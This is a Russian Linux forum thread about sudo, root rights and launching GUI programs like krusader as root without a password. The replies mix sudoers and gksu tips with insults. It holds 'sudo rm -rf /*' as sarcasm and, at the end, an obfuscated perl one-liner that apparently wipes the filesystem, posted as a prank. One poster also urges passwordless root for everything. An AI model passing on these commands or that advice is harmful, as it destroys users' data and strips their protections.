Доброго времени суток, форумчане! Чего я никогда не мог даже немного понять, так это того, как "работают" права в Linux. Наверно суть вопроса легче объяснить на не большом примере. Допусти конкретному юзеру надо дать права на выполнение всех команд от рута. Если я правильно понимаю как минимум нужно настроить sudo что бы юзер мог выполнять команды от рута
user ALL=(ALL) ALL
Теперь мы не хотим что бы он каждый раз мучался вводить длинный пароль
ALL=(ALL) NOPASSWD: ALL (опять таки если я прав)
Ок. теперь все команды работают но надо писать sudo бла-бла-бла. Это не удобно, но стерпеть можно. А вот если мы ходим так запустить графическое приложение, что бы с паролем не вякнул, что бы в консоль не лезть а запустить с ярлыка, например тот же krusader с правами рута, как же тут быть?
Запуск от root'a без sudo - бред бредовый?
как же тут быть?
никак не быть ... :lol:
kdesu/gksu вам в помощь , но пароль всё равно вводить придется , или городить огород из костылей для запуска - сие есть зло !
su
[Enter]
$passwd
[Enter]
$subj &
[Enter]sudo rm -rf /* вам конечно поможет с таким отношением к безопасности...
По делу:
1) Если граф. приложения из консоли по sudo запускаются, то почему бы ту же самую строку не прописать в .desktop файле...
2) что-то подобное можно сделать с помощью PolicyKit, но как он работает и как его настраивать я не представляю...
sudo rm -rf /* вам конечно поможет с таким отношением к безопасности...
смотри, проверит же...
[quote=NioriX]как же тут быть?
никак не быть ... :lol:
kdesu/gksu вам в помощь , но пароль всё равно вводить придется , или городить огород из костылей для запуска - сие есть зло ![/quote]
Для kdesu можно сделать, что бы пароль не вводить. Для gksu наверное то же.
смотри, проверит же...
и поделом. :[
Доброго времени суток, форумчане! Чего я никогда не мог даже немного понять, так это того, как "работают" права в Linux.
С вашим отношением, вам самое место на винфаке.
А никак не на этом форуме. Вы лучше молча читайте умные книги, чем постить свой унылый бред.
ПРАВА РУТА НЕ НУЖНЫ!!!!

Почему бред. Если так часто права нужны - логиньтесь в кедах рутом.А вот если мы ходим так запустить графическое приложение, что бы с паролем не вякнул, что бы в консоль не лезть а запустить с ярлыка, например тот же krusader с правами рута, как же тут быть?
Не народ, как то тут неадекватно реагируют на вопросы безопасности... Ну ели не можно - значит не можно, так и скажите. drBatty, зачем пытаться других за дурака выставлять, еще и оскорблять пытаться? Вопрос то был чисто теоретический. И если он бред и недостоин ответа - молчите.
И еще вопрос, для монтировании флешки в том же KDE права рута не нужны, непонятно как это возможно?
А я вот не понимаю, зачем нужно sudo если установлен root?
sudo При установленном root это еще одна потенциальная дыра. Тем более если юзер входит в систему под своим логином а потом под ним же запускает программы! По сути он сидит под root в системе. Это же бред. Почти так же как большинство юзерей винды. Сколько людей устанавливая систему с sudo создают отдельный ак под еще одного юзера без прав sudo?
Не народ, как то тут неадекватно реагируют на вопросы безопасности... Ну ели не можно - значит не можно, так и скажите. drBatty, зачем пытаться других за дурака выставлять, еще и оскорблять пытаться?
дык это вы сами себя выставили.
И если он бред и недостоин ответа - молчите.
аточто?
Допусти конкретному юзеру надо дать права на выполнение всех команд от рута. Если я правильно понимаю как минимум нужно настроить sudo что бы юзер мог выполнять команды от рута
повторяю:

непонятно?
И еще вопрос, для монтировании флешки в том же KDE права рута не нужны, непонятно как это возможно?
hal однако. вы можете это запретить, если оно не надо.
Что бы запускать любую прогу с правами root нужно использовать gksu,например $gksu nautilus ->пароль->и с liveCD сносим на старой системе /etc & /var и копируем из файловой системы диска,например...Вообще,это реальный напряг,каждый раз ходить в систему рутом,что бы только посмотреть папки и файлы в его правах или создать там чего-то,и gksu - очень удобная штука,при том,что подавляющее большинство пользователей,как раз то совсем не хмурые корпи и сисадмины,которым на уме,именно ограничить доступ к чему только можно,а обычные люди,которые хотят поменьше заморачиваться с запуском того-сего,и надо отдать венде должное - там это изначально поняли,хоть сейчас оно конечно и must die ...Я любитель держать зоопарки ОС на компе,но вот поставил openSuSe 11.3,а там,даже такой элементарной штуки,как gksu тупо нет,а юзер,который её же и ставил почемуто автоматом не добавлен в группу sudo - беспредел в самом оголделом его проявлении!Гуглу я не люблю немного больше Яндекса,но вот он - результат семичасовых раскопок залежей тамошнего шлака(спасибо поганой политике замалчивания инфы от пользователей) - ссылка на репу с любимой gksu : http://download.opensuse.org/repositories/home:/dmitry_serpokryl:/Enlightenment-cvs-core-metapackage/openSUSE_11.1/ - оно хоть и 11.1,но на 11.3 ставиться и работает,а нехорошие люди,озабоченные безопастность,пусть спят в презервативах на шнурках с паролем,от sudo,понятное дело! :D
ЗЫ: Создаётся пользовательская кнопка запуска щелчком правой кнопкой мыши по любой панели ->Добавить на панель->Пользовательская кнопка запуска->Добавить ->в окошке команда выбираете что надо из /usr/bin,удаляете приставку /usr/bin и добавляете gksu например nautilus.Раз кликнуть по кнопочке запуска,ввести пароль пользователя и ты в рутовском наутилусе,делай,что надо,и будь,что будет!В конце концов,систему переустановить - полчаса делов,на то и liveCD! :P
а нехорошие люди,озабоченные безопастность,пусть спят в презервативах на шнурках с паролем,от sudo,понятное дело!
вы не думали поставить семёрочку с кошерным UAC'ом? зачем вам презервативы и линукс?
Вообще,это реальный напряг,каждый раз ходить в систему рутом,что бы только посмотреть папки и файлы в его правах или создать там чего-то
добавьте нужные аккаунты в plugdev (или как оно в сусе называется), и пользуйтесь своими девайсами без всякого sudo.
NioriX, а можно поинтересоваться для чего часто требуются права рута?
ИМХО легче изменить права для папки/программы/файла чем такой херней заниматься. И при этом не нужно будет sudo и система не слетит из-за прикола или ошибки =)
Вообще,это реальный напряг,каждый раз ходить в систему рутом,что бы только посмотреть папки и файлы в его правах или создать там чего-то
0_о мне просто интересно чем это люди занимаются что им постоянно нужен рут? постоянно меняешь оборудование? или мегапроги вручную ставишь?
И кстати gksudo разве будет спрашивать пароль при ALL=(ALL) NOPASSWD: ALL ?
ALL=(ALL) NOPASSWD: ALL ?
вот тут и придет пушной зверёк...
И кстати gksudo разве будет спрашивать пароль при ALL=(ALL) NOPASSWD: ALL ?
может вправду семёрочку быстрее поставить?
мне просто интересно чем это люди занимаются что им постоянно нужен рут? постоянно меняешь оборудование? или мегапроги вручную ставишь?
систему пытаются завалить. обычно успешно :[
Вообще,в SUSE,я и сижу под рутом,но SUSE -это так,хорошо,когда надо чегой-то оптом переконвертить в mp3 ~avi(заметил,что fps чуток больше,чем в родной Ubuntu Ultimate Edition).Теперь,вот что - не надо хамить и ёрничать с предложениями 7 - она у меня тоже стоит,и стоит неплохо(кое-что просто удобнее делать там,а я гедонист :) ),а что до того зачем нужны права,так лучше скажите для чего они не нужны?Мне навь какая нибудь в голову среди ночи приснилась, и я сажусь,и пытаюсь воплотить,и мне не до того,что бы чёт там перенастраивать тонко,я просто не хочу,что б моя ОСь мне что-то запрещала.Вот поставил я на днях Mandriva PWP 2010.2,пришлось восстанавливать Grub2,восстановил,захожу на SUSE,что б скрипты грубовские подправить - нужны права?Или показалось мне,что локалей лишних развелось в системе,а мне тупо лень пол дня искать localepurge под SUSE,если вообще есть, - нужны права? Или ...да мало ли что,какая нибудь мелочь,которая задолбает запросом пароля на каждый Enter.Вы,господа,бросьте этот тон с умным выражением лица - каждой зверушке свои игрушки!Я изначально вёл к тому,что на любом десктопе всё должно быть для пользователя,для его комфорта и уюта,а всякий идеологически пральный шлак - это для идеологически затурканных двоешников,которые в кошмарах видят,что что-то слетело из-за какого-то неправильного действия,а как исправить-то,при всей идеологичности,толком и не знают...Итого - если вы не храните особо секретную инфу для мосада и шифры от сейфов и переходов в зазеркалье,нафига вам вся эта безопастность?Ну,покажите мне этого горе хакера в локальной сети который будет неделями корпеть,чтоб вас взломать,взломает и - нишиша нету,что и так по DC++ не расшарено...Я б еще и проставился за подвиг герою!
P.S.:Я особенно удачные огранки своих ОСей просто скидываю в образы fullbackup liveDVD со всем софтом,дровами и настройками(не умеете не брызгайтесь слюной),и за пять лет на лине никаких "дыр" в безопастности от моей домашней манеры пользования дистров,от Gentoo,до Debian,как-то не возникало,зато мудрагели-любители sudo и паролей на каждом шагу,чуть не через день приходят и : "...а как вот,тут...такое дело..."
P.P.S.:Я,вобщем-то,не ради холивара,не обойдясь без прелюдии,таки отвечал на начальный вопрос Niorix а,и думаю,что,с практической стороны,советовал верно,прочий дым,пар и пена,это от непонимания и неприятия тех,кто от всяких заумных "правильных" "помощей" имеет свой сладкий кусочек десерта ,ну и флаг им в руки... :P
а ещё права нужны, чтобы выполнять непонятные команды типа
[console]cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'[/console]